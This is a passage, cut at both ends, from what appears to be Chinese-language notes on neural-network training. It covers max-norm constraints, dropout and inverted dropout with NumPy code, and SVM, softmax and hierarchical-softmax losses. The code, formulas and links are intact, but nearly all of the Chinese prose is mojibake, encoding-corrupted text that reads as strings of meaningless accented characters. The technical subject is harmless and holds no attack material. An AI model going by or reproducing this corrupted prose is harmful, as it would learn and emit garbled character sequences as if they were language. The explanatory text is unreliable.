constraints๏ผ‰ใ€‚**ๅฆไธ€็งๅฝขๅผ็š„ๆญฃๅˆ™ๅŒ–ๆ˜ฏ็ป™ๆฏไธช็ฅž็ปๅ…ƒไธญๆƒ้‡ๅ‘้‡็š„้‡็บง่ฎพๅฎšไธŠ้™๏ผŒๅนถไฝฟ็”จๆŠ•ๅฝฑๆขฏๅบฆไธ‹้™ๆฅ็กฎไฟ่ฟ™ไธ€็บฆๆŸใ€‚ๅœจๅฎž่ทตไธญ๏ผŒไธŽไน‹ๅฏนๅบ”็š„ๆ˜ฏๅ‚ๆ•ฐๆ›ดๆ–ฐๆ–นๅผไธๅ˜๏ผŒ็„ถๅŽ่ฆๆฑ‚็ฅž็ปๅ…ƒไธญ็š„ๆƒ้‡ๅ‘้‡$\\overrightarrow{w}$ๅฟ…้กปๆปก่ถณ$||\\overrightarrow{w}||_2<c$่ฟ™ไธ€ๆกไปถ๏ผŒไธ€่ˆฌ$c$ๅ€ผไธบ3ๆˆ–่€…4ใ€‚ๆœ‰็ ”็ฉถ่€…ๅ‘ๆ–‡็งฐๅœจไฝฟ็”จ่ฟ™็งๆญฃๅˆ™ๅŒ–ๆ–นๆณ•ๆ—ถๆ•ˆๆžœๆ›ดๅฅฝใ€‚่ฟ™็งๆญฃๅˆ™ๅŒ–่ฟ˜ๆœ‰ไธ€ไธช่‰ฏๅฅฝ็š„ๆ€ง่ดจ๏ผŒๅณไฝฟๅœจๅญฆไน ็Ž‡่ฎพ็ฝฎ่ฟ‡้ซ˜็š„ๆ—ถๅ€™๏ผŒ็ฝ‘็ปœไธญไนŸไธไผšๅ‡บ็Žฐๆ•ฐๅ€ผโ€œ็ˆ†็‚ธโ€๏ผŒ่ฟ™ๆ˜ฏๅ› ไธบๅฎƒ็š„ๅ‚ๆ•ฐๆ›ดๆ–ฐๅง‹็ปˆๆ˜ฏ่ขซ้™ๅˆถ็€็š„ใ€‚\n\n**้šๆœบๅคฑๆดป๏ผˆDropout๏ผ‰**ๆ˜ฏไธ€ไธช็ฎ€ๅ•ๅˆๆžๅ…ถๆœ‰ๆ•ˆ็š„ๆญฃๅˆ™ๅŒ–ๆ–นๆณ•ใ€‚่ฏฅๆ–นๆณ•็”ฑSrivastavaๅœจ่ฎบๆ–‡[Dropout: A Simple Way to Prevent Neural Networks from Overfitting](http://link.zhihu.com/?target=http%3A//www.cs.toronto.edu/%257Ersalakhu/papers/srivastava14a.pdf)ไธญๆๅ‡บ็š„๏ผŒไธŽL1ๆญฃๅˆ™ๅŒ–๏ผŒL2ๆญฃๅˆ™ๅŒ–ๅ’Œๆœ€ๅคง่Œƒๅผ็บฆๆŸ็ญ‰ๆ–นๆณ•ไบ’ไธบ่กฅๅ……ใ€‚ๅœจ่ฎญ็ปƒ็š„ๆ—ถๅ€™๏ผŒ้šๆœบๅคฑๆดป็š„ๅฎž็Žฐๆ–นๆณ•ๆ˜ฏ่ฎฉ็ฅž็ปๅ…ƒไปฅ่ถ…ๅ‚ๆ•ฐ$p$็š„ๆฆ‚็Ž‡่ขซๆฟ€ๆดปๆˆ–่€…่ขซ่ฎพ็ฝฎไธบ0ใ€‚\n\n---\n\n![](https://i.loli.net/2018/08/26/5b82cab3a137f.png)\n\nๅ›พ็‰‡ๆฅๆบ่‡ช[่ฎบๆ–‡](http://link.zhihu.com/?target=http%3A//www.cs.toronto.edu/%7Ersalakhu/papers/srivastava14a.pdf)๏ผŒๅฑ•็คบๅ…ถๆ ธๅฟƒๆ€่ทฏใ€‚ๅœจ่ฎญ็ปƒ่ฟ‡็จ‹ไธญ๏ผŒ้šๆœบๅคฑๆดปๅฏไปฅ่ขซ่ฎคไธบๆ˜ฏๅฏนๅฎŒๆ•ด็š„็ฅž็ป็ฝ‘็ปœๆŠฝๆ ทๅ‡บไธ€ไบ›ๅญ้›†๏ผŒๆฏๆฌกๅŸบไบŽ่พ“ๅ…ฅๆ•ฐๆฎๅชๆ›ดๆ–ฐๅญ็ฝ‘็ปœ็š„ๅ‚ๆ•ฐ๏ผˆ็„ถ่€Œ๏ผŒๆ•ฐ้‡ๅทจๅคง็š„ๅญ็ฝ‘็ปœไปฌๅนถไธๆ˜ฏ็›ธไบ’็‹ฌ็ซ‹็š„๏ผŒๅ› ไธบๅฎƒไปฌ้ƒฝๅ…ฑไบซๅ‚ๆ•ฐ๏ผ‰ใ€‚ๅœจๆต‹่ฏ•่ฟ‡็จ‹ไธญไธไฝฟ็”จ้šๆœบๅคฑๆดป๏ผŒๅฏไปฅ็†่งฃไธบๆ˜ฏๅฏนๆ•ฐ้‡ๅทจๅคง็š„ๅญ็ฝ‘็ปœไปฌๅšไบ†ๆจกๅž‹้›†ๆˆ๏ผˆmodel ensemble๏ผ‰๏ผŒไปฅๆญคๆฅ่ฎก็ฎ—ๅ‡บไธ€ไธชๅนณๅ‡็š„้ข„ๆต‹ใ€‚\n\n---\n\nไธ€ไธช3ๅฑ‚็ฅž็ป็ฝ‘็ปœ็š„ๆ™ฎ้€š็‰ˆ้šๆœบๅคฑๆดปๅฏไปฅ็”จไธ‹้ขไปฃ็ ๅฎž็Žฐ๏ผš\n\n```python\n\"\"\" ๆ™ฎ้€š็‰ˆ้šๆœบๅคฑๆดป: ไธๆŽจ่ๅฎž็Žฐ (็œ‹ไธ‹้ข็ฌ”่ฎฐ) \"\"\"\n\np = 0.5 # ๆฟ€ๆดป็ฅž็ปๅ…ƒ็š„ๆฆ‚็Ž‡. pๅ€ผๆ›ด้ซ˜ = ้šๆœบๅคฑๆดปๆ›ดๅผฑ\n\ndef train_step(X):\n \"\"\" Xไธญๆ˜ฏ่พ“ๅ…ฅๆ•ฐๆฎ \"\"\"\n \n # 3ๅฑ‚neural network็š„ๅ‰ๅ‘ไผ ๆ’ญ\n H1 = np.maximum(0, np.dot(W1, X) + b1)\n U1 = np.random.rand(*H1.shape) < p # ็ฌฌไธ€ไธช้šๆœบๅคฑๆดป้ฎ็ฝฉ\n H1 *= U1 # drop!\n H2 = np.maximum(0, np.dot(W2, H1) + b2)\n U2 = np.random.rand(*H2.shape) < p # ็ฌฌไบŒไธช้šๆœบๅคฑๆดป้ฎ็ฝฉ\n H2 *= U2 # drop!\n out = np.dot(W3, H2) + b3\n \n # ๅๅ‘ไผ ๆ’ญ:่ฎก็ฎ—ๆขฏๅบฆ... (็•ฅ)\n # ่ฟ›่กŒๅ‚ๆ•ฐๆ›ดๆ–ฐ... (็•ฅ)\n \ndef predict(X):\n # ๅ‰ๅ‘ไผ ๆ’ญๆ—ถๆจกๅž‹้›†ๆˆ\n H1 = np.maximum(0, np.dot(W1, X) + b1) * p # ๆณจๆ„๏ผšๆฟ€ๆดปๆ•ฐๆฎ่ฆไน˜ไปฅp\n H2 = np.maximum(0, np.dot(W2, H1) + b2) * p # ๆณจๆ„๏ผšๆฟ€ๆดปๆ•ฐๆฎ่ฆไน˜ไปฅp\n out = np.dot(W3, H2) + b3\n```\n\n(่‡ชๆณจ๏ผš`np.random.rand(*H1.shape)`ไธญ็š„ๆ˜Ÿๅทใ€‚่ฟ™ๆ˜ฏpython้‡Œ้ข็š„็”จๆณ•๏ผŒ็”จๆฅๅฐ†H1.shape ๅ˜ไธบๅ‡ ไธช็‹ฌ็ซ‹ๅ˜้‡ไปฃๅ…ฅใ€‚ไพ‹ๅฆ‚h1.shape=(4,3),*h1.shape=4,3๏ผŒๅฆๅค–ๆ‹“ๅฑ•ไธ€ไธ‹๏ผŒไธคไธชๆ˜Ÿๅท็”จๆฅ่งฃๅญ—ๅ…ธ)\n\nๅœจไธŠ้ข็š„ไปฃ็ ไธญ๏ผŒ**train_step**ๅ‡ฝๆ•ฐๅœจ็ฌฌไธ€ไธช้šๅฑ‚ๅ’Œ็ฌฌไบŒไธช้šๅฑ‚ไธŠ่ฟ›่กŒไบ†ไธคๆฌก้šๆœบๅคฑๆดปใ€‚ๅœจ่พ“ๅ…ฅๅฑ‚ไธŠ้ข่ฟ›่กŒ้šๆœบๅคฑๆดปไนŸๆ˜ฏๅฏไปฅ็š„๏ผŒไธบๆญค้œ€่ฆไธบ่พ“ๅ…ฅๆ•ฐๆฎ**Xๅˆ›ๅปบ**ไธ€ไธชไบŒๅ€ผ็š„้ฎ็ฝฉใ€‚ๅๅ‘ไผ ๆ’ญไฟๆŒไธๅ˜๏ผŒไฝ†ๆ˜ฏ่‚ฏๅฎš้œ€่ฆๅฐ†้ฎ็ฝฉ**U1**ๅ’Œ**U2**ๅŠ ๅ…ฅ่ฟ›ๅŽปใ€‚\n\nๆณจๆ„๏ผšๅœจ**predict**ๅ‡ฝๆ•ฐไธญไธ่ฟ›่กŒ้šๆœบๅคฑๆดป๏ผŒไฝ†ๆ˜ฏๅฏนไบŽไธคไธช้šๅฑ‚็š„่พ“ๅ‡บ้ƒฝ่ฆไน˜ไปฅ$p$๏ผŒ่ฐƒๆ•ดๅ…ถๆ•ฐๅ€ผ่Œƒๅ›ดใ€‚่ฟ™ไธ€็‚น้žๅธธ้‡่ฆ๏ผŒๅ› ไธบๅœจๆต‹่ฏ•ๆ—ถๆ‰€ๆœ‰็š„็ฅž็ปๅ…ƒ้ƒฝ่ƒฝ็œ‹่งๅฎƒไปฌ็š„่พ“ๅ…ฅ๏ผŒๅ› ๆญคๆˆ‘ไปฌๆƒณ่ฆ็ฅž็ปๅ…ƒ็š„่พ“ๅ‡บไธŽ่ฎญ็ปƒๆ—ถ็š„้ข„ๆœŸ่พ“ๅ‡บๆ˜ฏไธ€่‡ด็š„ใ€‚ไปฅ$p=0.5$ไธบไพ‹๏ผŒๅœจๆต‹่ฏ•ๆ—ถ็ฅž็ปๅ…ƒๅฟ…้กปๆŠŠๅฎƒไปฌ็š„่พ“ๅ‡บๅ‡ๅŠ๏ผŒ่ฟ™ๆ˜ฏๅ› ไธบๅœจ่ฎญ็ปƒ็š„ๆ—ถๅ€™ๅฎƒไปฌ็š„่พ“ๅ‡บๅชๆœ‰ไธ€ๅŠใ€‚ไธบไบ†็†่งฃ่ฟ™็‚น๏ผŒๅ…ˆๅ‡่ฎพๆœ‰ไธ€ไธช็ฅž็ปๅ…ƒ$x$็š„่พ“ๅ‡บ๏ผŒ้‚ฃไนˆ่ฟ›่กŒ้šๆœบๅคฑๆดป็š„ๆ—ถๅ€™๏ผŒ่ฏฅ็ฅž็ปๅ…ƒ็š„่พ“ๅ‡บๅฐฑๆ˜ฏ$px+(1-p)0$๏ผŒ่ฟ™ๆ˜ฏๆœ‰$1-p$็š„ๆฆ‚็Ž‡็ฅž็ปๅ…ƒ็š„่พ“ๅ‡บไธบ0ใ€‚ๅœจๆต‹่ฏ•ๆ—ถ็ฅž็ปๅ…ƒๆ€ปๆ˜ฏๆฟ€ๆดป็š„๏ผŒๅฐฑๅฟ…้กป่ฐƒๆ•ด$x\\to px$ๆฅไฟๆŒๅŒๆ ท็š„้ข„ๆœŸ่พ“ๅ‡บใ€‚ๅœจๆต‹่ฏ•ๆ—ถไผšๅœจๆ‰€ๆœ‰ๅฏ่ƒฝ็š„ไบŒๅ€ผ้ฎ็ฝฉ๏ผˆไนŸๅฐฑๆ˜ฏๆ•ฐ้‡ๅบžๅคง็š„ๆ‰€ๆœ‰ๅญ็ฝ‘็ปœ๏ผ‰ไธญ่ฟญไปฃๅนถ่ฎก็ฎ—ๅฎƒไปฌ็š„ๅไฝœ้ข„ๆต‹๏ผŒ่ฟ›่กŒ่ฟ™็งๅ‡ๅผฑ็š„ๆ“ไฝœไนŸๅฏไปฅ่ฎคไธบๆ˜ฏไธŽไน‹็›ธๅ…ณ็š„ใ€‚\n\nไธŠ่ฟฐๆ“ไฝœไธๅฅฝ็š„ๆ€ง่ดจๆ˜ฏๅฟ…้กปๅœจๆต‹่ฏ•ๆ—ถๅฏนๆฟ€ๆดปๆ•ฐๆฎ่ฆๆŒ‰็…ง$p$่ฟ›่กŒๆ•ฐๅ€ผ่Œƒๅ›ด่ฐƒๆ•ดใ€‚ๆ—ข็„ถๆต‹่ฏ•ๆ€ง่ƒฝๅฆ‚ๆญคๅ…ณ้”ฎ๏ผŒๅฎž้™…ๆ›ดๅ€พๅ‘ไฝฟ็”จ**ๅๅ‘้šๆœบๅคฑๆดป๏ผˆinverted dropout๏ผ‰**๏ผŒๅฎƒๆ˜ฏๅœจ่ฎญ็ปƒๆ—ถๅฐฑ่ฟ›่กŒๆ•ฐๅ€ผ่Œƒๅ›ด่ฐƒๆ•ด๏ผŒไปŽ่€Œ่ฎฉๅ‰ๅ‘ไผ ๆ’ญๅœจๆต‹่ฏ•ๆ—ถไฟๆŒไธๅ˜ใ€‚่ฟ™ๆ ทๅš่ฟ˜ๆœ‰ไธ€ไธชๅฅฝๅค„๏ผŒๆ— ่ฎบไฝ ๅ†ณๅฎšๆ˜ฏๅฆไฝฟ็”จ้šๆœบๅคฑๆดป๏ผŒ้ข„ๆต‹ๆ–นๆณ•็š„ไปฃ็ ๅฏไปฅไฟๆŒไธๅ˜ใ€‚ๅๅ‘้šๆœบๅคฑๆดป็š„ไปฃ็ ๅฆ‚ไธ‹๏ผš\n\n```python\n\"\"\" \nๅๅ‘้šๆœบๅคฑๆดป: ๆŽจ่ๅฎž็Žฐๆ–นๅผ.\nๅœจ่ฎญ็ปƒ็š„ๆ—ถๅ€™dropๅ’Œ่ฐƒๆ•ดๆ•ฐๅ€ผ่Œƒๅ›ด๏ผŒๆต‹่ฏ•ๆ—ถไธๅšไปปไฝ•ไบ‹.\n\"\"\"\n\np = 0.5 # ๆฟ€ๆดป็ฅž็ปๅ…ƒ็š„ๆฆ‚็Ž‡. pๅ€ผๆ›ด้ซ˜ = ้šๆœบๅคฑๆดปๆ›ดๅผฑ\n\ndef train_step(X):\n # 3ๅฑ‚neural network็š„ๅ‰ๅ‘ไผ ๆ’ญ\n H1 = np.maximum(0, np.dot(W1, X) + b1)\n U1 = (np.random.rand(*H1.shape) < p) / p # ็ฌฌไธ€ไธช้šๆœบๅคฑๆดป้ฎ็ฝฉ. ๆณจๆ„/p!\n H1 *= U1 # drop!\n H2 = np.maximum(0, np.dot(W2, H1) + b2)\n U2 = (np.random.rand(*H2.shape) < p) / p # ็ฌฌไบŒไธช้šๆœบๅคฑๆดป้ฎ็ฝฉ. ๆณจๆ„/p!\n H2 *= U2 # drop!\n out = np.dot(W3, H2) + b3\n\n # ๅๅ‘ไผ ๆ’ญ:่ฎก็ฎ—ๆขฏๅบฆ... (็•ฅ)\n # ่ฟ›่กŒๅ‚ๆ•ฐๆ›ดๆ–ฐ... (็•ฅ)\n\ndef predict(X):\n # ๅ‰ๅ‘ไผ ๆ’ญๆ—ถๆจกๅž‹้›†ๆˆ\n H1 = np.maximum(0, np.dot(W1, X) + b1) # ไธ็”จๆ•ฐๅ€ผ่Œƒๅ›ด่ฐƒๆ•ดไบ†\n H2 = np.maximum(0, np.dot(W2, H1) + b2)\n out = np.dot(W3, H2) + b3\n```\n\nๅœจ้šๆœบๅคฑๆดปๅ‘ๅธƒๅŽ๏ผŒๅพˆๅฟซๆœ‰ๅคง้‡็ ”็ฉถไธบไป€ไนˆๅฎƒ็š„ๅฎž่ทตๆ•ˆๆžœๅฆ‚ๆญคไน‹ๅฅฝ๏ผŒไปฅๅŠๅฎƒๅ’Œๅ…ถไป–ๆญฃๅˆ™ๅŒ–ๆ–นๆณ•ไน‹้—ด็š„ๅ…ณ็ณปใ€‚ๅฆ‚ๆžœไฝ ๆ„Ÿๅ…ด่ถฃ๏ผŒๅฏไปฅ็œ‹็œ‹่ฟ™ไบ›ๆ–‡็Œฎ๏ผš\n\n- [Dropout paper](http://link.zhihu.com/?target=http%3A//www.cs.toronto.edu/%257Ersalakhu/papers/srivastava14a.pdf) by Srivastava et al. 2014.\n- [Dropout Training as Adaptive Regularization](http://link.zhihu.com/?target=http%3A//papers.nips.cc/paper/4882-dropout-training-as-adaptive-regularization.pdf)๏ผšโ€œๆˆ‘ไปฌ่ฎคไธบ๏ผšๅœจไฝฟ็”จ่ดนๅธŒๅฐ”ไฟกๆฏ็Ÿฉ้˜ต๏ผˆ[fisher information matrix](http://link.zhihu.com/?target=https%3A//en.wikipedia.org/wiki/Fisher_information_metric)๏ผ‰็š„ๅฏน่ง’้€†็Ÿฉ้˜ต็š„ๆœŸๆœ›ๅฏน็‰นๅพ่ฟ›่กŒๆ•ฐๅ€ผ่Œƒๅ›ด่ฐƒๆ•ดๅŽ๏ผŒๅ†่ฟ›่กŒL2ๆญฃๅˆ™ๅŒ–่ฟ™ไธ€ๆ“ไฝœ๏ผŒไธŽ้šๆœบๅคฑๆดปๆญฃๅˆ™ๅŒ–ๆ˜ฏไธ€้˜ถ็›ธ็ญ‰็š„ใ€‚โ€\n\n**ๅ‰ๅ‘ไผ ๆ’ญไธญ็š„ๅ™ช้Ÿณใ€‚**ๅœจๆ›ดไธ€่ˆฌๅŒ–็š„ๅˆ†็ฑปไธŠ๏ผŒ้šๆœบๅคฑๆดปๅฑžไบŽ็ฝ‘็ปœๅœจๅ‰ๅ‘ไผ ๆ’ญไธญๆœ‰้šๆœบ่กŒไธบ็š„ๆ–นๆณ•ใ€‚ๆต‹่ฏ•ๆ—ถ๏ผŒ้€š่ฟ‡*ๅˆ†ๆžๆณ•*๏ผˆๅœจไฝฟ็”จ้šๆœบๅคฑๆดป็š„ๆœฌไพ‹ไธญๅฐฑๆ˜ฏไน˜ไปฅ![p](http://www.zhihu.com/equation?tex=p)๏ผ‰ๆˆ–*ๆ•ฐๅ€ผๆณ•*๏ผˆไพ‹ๅฆ‚้€š่ฟ‡ๆŠฝๆ ทๅ‡บๅพˆๅคšๅญ็ฝ‘็ปœ๏ผŒ้šๆœบ้€‰ๆ‹ฉไธๅŒๅญ็ฝ‘็ปœ่ฟ›่กŒๅ‰ๅ‘ไผ ๆ’ญ๏ผŒๆœ€ๅŽๅฏนๅฎƒไปฌๅ–ๅนณๅ‡๏ผ‰ๅฐ†ๅ™ช้Ÿณ่พน็ผ˜ๅŒ–ใ€‚ๅœจ่ฟ™ไธชๆ–นๅ‘ไธŠ็š„ๅฆไธ€ไธช็ ”็ฉถๆ˜ฏ[DropConnect](http://link.zhihu.com/?target=http%3A//cs.nyu.edu/%257Ewanli/dropc/)๏ผŒๅฎƒๅœจๅ‰ๅ‘ไผ ๆ’ญ็š„ๆ—ถๅ€™๏ผŒไธ€็ณปๅˆ—ๆƒ้‡่ขซ้šๆœบ่ฎพ็ฝฎไธบ0ใ€‚ๆๅ‰่ฏดไธ€ไธ‹๏ผŒๅท็งฏ็ฅž็ป็ฝ‘็ปœๅŒๆ ทไผšๅธๅ–่ฟ™็ฑปๆ–นๆณ•็š„ไผ˜็‚น๏ผŒๆฏ”ๅฆ‚้šๆœบๆฑ‡ๅˆ๏ผˆstochastic pooling๏ผ‰๏ผŒๅˆ†็บงๆฑ‡ๅˆ๏ผˆfractional pooling๏ผ‰๏ผŒๆ•ฐๆฎๅขž้•ฟ๏ผˆdata augmentation๏ผ‰ใ€‚ๆˆ‘ไปฌๅœจๅŽ้ขไผš่ฏฆ็ป†ไป‹็ปใ€‚\n\n**ๅ็ฝฎๆญฃๅˆ™ๅŒ–ใ€‚**ๅœจ็บฟๆ€งๅˆ†็ฑปๅ™จ็š„็ซ ่Š‚ไธญไป‹็ป่ฟ‡๏ผŒๅฏนไบŽๅ็ฝฎๅ‚ๆ•ฐ็š„ๆญฃๅˆ™ๅŒ–ๅนถไธๅธธ่ง๏ผŒๅ› ไธบๅฎƒไปฌๅœจ็Ÿฉ้˜ตไน˜ๆณ•ไธญๅ’Œ่พ“ๅ…ฅๆ•ฐๆฎๅนถไธไบง็”Ÿไบ’ๅŠจ๏ผŒๆ‰€ไปฅๅนถไธ้œ€่ฆๆŽงๅˆถๅ…ถๅœจๆ•ฐๆฎ็ปดๅบฆไธŠ็š„ๆ•ˆๆžœใ€‚็„ถ่€Œๅœจๅฎž้™…ๅบ”็”จไธญ๏ผˆไฝฟ็”จไบ†ๅˆ็†ๆ•ฐๆฎ้ข„ๅค„็†็š„ๆƒ…ๅ†ตไธ‹๏ผ‰๏ผŒๅฏนๅ็ฝฎ่ฟ›่กŒๆญฃๅˆ™ๅŒ–ไนŸๅพˆๅฐ‘ไผšๅฏผ่‡ด็ฎ—ๆณ•ๆ€ง่ƒฝๅ˜ๅทฎใ€‚่ฟ™ๅฏ่ƒฝๆ˜ฏๅ› ไธบ็›ธ่พƒไบŽๆƒ้‡ๅ‚ๆ•ฐ๏ผŒๅ็ฝฎๅ‚ๆ•ฐๅฎžๅœจๅคชๅฐ‘๏ผŒๆ‰€ไปฅๅˆ†็ฑปๅ™จ้œ€่ฆๅฎƒไปฌๆฅ่Žทๅพ—ไธ€ไธชๅพˆๅฅฝ็š„ๆ•ฐๆฎๆŸๅคฑ๏ผŒ้‚ฃไนˆ่ฟ˜ๆ˜ฏ่ƒฝๅคŸๆ‰ฟๅ—็š„ใ€‚\n\n**ๆฏๅฑ‚ๆญฃๅˆ™ๅŒ–ใ€‚**ๅฏนไบŽไธๅŒ็š„ๅฑ‚่ฟ›่กŒไธๅŒๅผบๅบฆ็š„ๆญฃๅˆ™ๅŒ–ๅพˆๅฐ‘่ง๏ผˆๅฏ่ƒฝ้™คไบ†่พ“ๅ‡บๅฑ‚ไปฅๅค–๏ผ‰๏ผŒๅ…ณไบŽ่ฟ™ไธชๆ€่ทฏ็š„็›ธๅ…ณๆ–‡็ŒฎไนŸๅพˆๅฐ‘ใ€‚\n\n**ๅฎž่ทต**๏ผš้€š่ฟ‡ไบคๅ‰้ชŒ่ฏ่Žทๅพ—ไธ€ไธชๅ…จๅฑ€ไฝฟ็”จ็š„L2ๆญฃๅˆ™ๅŒ–ๅผบๅบฆๆ˜ฏๆฏ”่พƒๅธธ่ง็š„ใ€‚ๅœจไฝฟ็”จL2ๆญฃๅˆ™ๅŒ–็š„ๅŒๆ—ถๅœจๆ‰€ๆœ‰ๅฑ‚ๅŽ้ขไฝฟ็”จ้šๆœบๅคฑๆดปไนŸๅพˆๅธธ่งใ€‚![p](http://www.zhihu.com/equation?tex=p)ๅ€ผไธ€่ˆฌ้ป˜่ฎค่ฎพไธบ0.5๏ผŒไนŸๅฏ่ƒฝๅœจ้ชŒ่ฏ้›†ไธŠ่ฐƒๅ‚ใ€‚\n\n## ๆŸๅคฑๅ‡ฝๆ•ฐ\n\nๆˆ‘ไปฌๅทฒ็ป่ฎจ่ฎบ่ฟ‡ๆŸๅคฑๅ‡ฝๆ•ฐ็š„ๆญฃๅˆ™ๅŒ–ๆŸๅคฑ้ƒจๅˆ†๏ผŒๅฎƒๅฏไปฅ็œ‹ๅšๆ˜ฏๅฏนๆจกๅž‹ๅคๆ‚็จ‹ๅบฆ็š„ๆŸ็งๆƒฉ็ฝšใ€‚ๆŸๅคฑๅ‡ฝๆ•ฐ็š„็ฌฌไบŒไธช้ƒจๅˆ†ๆ˜ฏ*ๆ•ฐๆฎๆŸๅคฑ*๏ผŒๅฎƒๆ˜ฏไธ€ไธชๆœ‰็›‘็ฃๅญฆไน ้—ฎ้ข˜๏ผŒ็”จไบŽ่กก้‡ๅˆ†็ฑป็ฎ—ๆณ•็š„้ข„ๆต‹็ป“ๆžœ๏ผˆๅณๅˆ†็ฑป่ฏ„ๅˆ†๏ผ‰ๅ’Œ็œŸๅฎžๆ ‡็ญพ็ป“ๆžœไน‹้—ด็š„ไธ€่‡ดๆ€งใ€‚ๆ•ฐๆฎๆŸๅคฑๆ˜ฏๅฏนๆ‰€ๆœ‰ๆ ทๆœฌ็š„ๆ•ฐๆฎๆŸๅคฑๆฑ‚ๅนณๅ‡ใ€‚ไนŸๅฐฑๆ˜ฏ่ฏด๏ผŒ$L=\\frac{1}{N}\\sum_iL_i$ไธญ๏ผŒ$N$ๆ˜ฏ่ฎญ็ปƒ้›†ๆ•ฐๆฎ็š„ๆ ทๆœฌๆ•ฐใ€‚่ฎฉๆˆ‘ไปฌๆŠŠ็ฅž็ป็ฝ‘็ปœไธญ่พ“ๅ‡บๅฑ‚็š„ๆฟ€ๆดปๅ‡ฝๆ•ฐ็ฎ€ๅ†™ไธบ$f=f(x_i;W)$๏ผŒๅœจๅฎž้™…ไธญไฝ ๅฏ่ƒฝ้œ€่ฆ่งฃๅ†ณไปฅไธ‹ๅ‡ ็ฑป้—ฎ้ข˜๏ผš\n\n**ๅˆ†็ฑป้—ฎ้ข˜**ๆ˜ฏๆˆ‘ไปฌไธ€็›ด่ฎจ่ฎบ็š„ใ€‚ๅœจ่ฏฅ้—ฎ้ข˜ไธญ๏ผŒๅ‡่ฎพๆœ‰ไธ€ไธช่ฃ…ๆปกๆ ทๆœฌ็š„ๆ•ฐๆฎ้›†๏ผŒๆฏไธชๆ ทๆœฌ้ƒฝๆœ‰ไธ€ไธชๅ”ฏไธ€็š„ๆญฃ็กฎๆ ‡็ญพ๏ผˆๆ˜ฏๅ›บๅฎšๅˆ†็ฑปๆ ‡็ญพไน‹ไธ€๏ผ‰ใ€‚ๅœจ่ฟ™็ฑป้—ฎ้ข˜ไธญ๏ผŒไธ€ไธชๆœ€ๅธธ่ง็š„ๆŸๅคฑๅ‡ฝๆ•ฐๅฐฑๆ˜ฏSVM๏ผˆๆ˜ฏWeston Watkins ๅ…ฌๅผ๏ผ‰๏ผš\n$$\nL_i=\\sum_{j\\neq y_i}\\max(0,f_j-f_{y_i}+1)\n$$\nไน‹ๅ‰็ฎ€่ฆๆ่ตท่ฟ‡๏ผŒๆœ‰ไบ›ๅญฆ่€…็š„่ฎบๆ–‡ไธญๆŒ‡ๅ‡บๅนณๆ–นๆŠ˜ๅถๆŸๅคฑ๏ผˆๅณไฝฟ็”จ$max(0,f_j-f_{y_i}+1)^2$๏ผ‰็ฎ—ๆณ•็š„็ป“ๆžœไผšๆ›ดๅฅฝใ€‚็ฌฌไบŒไธชๅธธ็”จ็š„ๆŸๅคฑๅ‡ฝๆ•ฐๆ˜ฏSoftmaxๅˆ†็ฑปๅ™จ๏ผŒๅฎƒไฝฟ็”จไบคๅ‰็†ตๆŸๅคฑ๏ผš\n$$\nL_i=-\\log(\\frac{e^{f_{y_i}}}{\\sum_je^{f_j}})\n$$\n**้—ฎ้ข˜๏ผš็ฑปๅˆซๆ•ฐ็›ฎๅทจๅคงใ€‚**ๅฝ“ๆ ‡็ญพ้›†้žๅธธๅบžๅคง๏ผˆไพ‹ๅฆ‚ๅญ—ๅ…ธไธญ็š„ๆ‰€ๆœ‰่‹ฑ่ฏญๅ•่ฏ๏ผŒๆˆ–่€…ImageNetไธญ็š„22000็งๅˆ†็ฑป๏ผ‰๏ผŒๅฐฑ้œ€่ฆไฝฟ็”จ*ๅˆ†ๅฑ‚Softmax๏ผˆ**Hierarchical Softmax**๏ผ‰*ไบ†๏ผˆ[ๅ‚่€ƒๆ–‡็Œฎ](http://link.zhihu.com/?target=http%3A//arxiv.org/pdf/1310.4546.pdf)๏ผ‰ใ€‚ๅˆ†ๅฑ‚softmaxๅฐ†ๆ ‡็ญพๅˆ†่งฃๆˆไธ€ไธชๆ ‘ใ€‚ๆฏไธชๆ ‡็ญพ้ƒฝ่กจ็คบๆˆ่ฟ™ไธชๆ ‘ไธŠ็š„ไธ€ไธช่ทฏๅพ„๏ผŒ่ฟ™ไธชๆ ‘็š„ๆฏไธช่Š‚็‚นๅค„้ƒฝ่ฎญ็ปƒไธ€ไธชSoftmaxๅˆ†็ฑปๅ™จๆฅๅœจๅทฆๅ’Œๅณๅˆ†ๆžไน‹้—ดๅšๅ†ณ็ญ–ใ€‚ๆ ‘็š„็ป“ๆž„ๅฏนไบŽ็ฎ—ๆณ•็š„ๆœ€็ปˆ็ป“ๆžœๅฝฑๅ“ๅพˆๅคง๏ผŒ่€Œไธ”ไธ€่ˆฌ้œ€่ฆๅ…ทไฝ“้—ฎ้ข˜ๅ…ทไฝ“ๅˆ†ๆžใ€‚\n\n**ๅฑžๆ€ง๏ผˆAttribute๏ผ‰ๅˆ†็ฑปใ€‚**ไธŠ้ขไธคไธชๆŸๅคฑๅ…ฌๅผ็š„ๅ‰ๆ๏ผŒ้ƒฝๆ˜ฏๅ‡่ฎพๆฏไธชๆ ทๆœฌๅชๆœ‰ไธ€ไธชๆญฃ็กฎ็š„ๆ ‡็ญพ$y_i$ใ€‚ไฝ†ๆ˜ฏๅฆ‚ๆžœ$y_i$ๆ˜ฏไธ€ไธชไบŒๅ€ผๅ‘้‡๏ผŒๆฏไธชๆ ทๆœฌๅฏ่ƒฝๆœ‰๏ผŒไนŸๅฏ่ƒฝๆฒกๆœ‰ๆŸไธชๅฑžๆ€ง๏ผŒ่€Œไธ”ๅฑžๆ€งไน‹้—ดๅนถไธ็›ธไบ’ๆŽ’ๆ–ฅๅ‘ข๏ผŸๆฏ”ๅฆ‚ๅœจInstagramไธŠ็š„ๅ›พ็‰‡๏ผŒๅฐฑๅฏไปฅ็œ‹ๆˆๆ˜ฏ่ขซไธ€ไธชๅทจๅคง็š„ๆ ‡็ญพ้›†ๅˆไธญ็š„ๆŸไธชๅญ้›†ๆ‰“ไธŠๆ ‡็ญพ๏ผŒไธ€ๅผ ๅ›พ็‰‡ไธŠๅฏ่ƒฝๆœ‰ๅคšไธชๆ 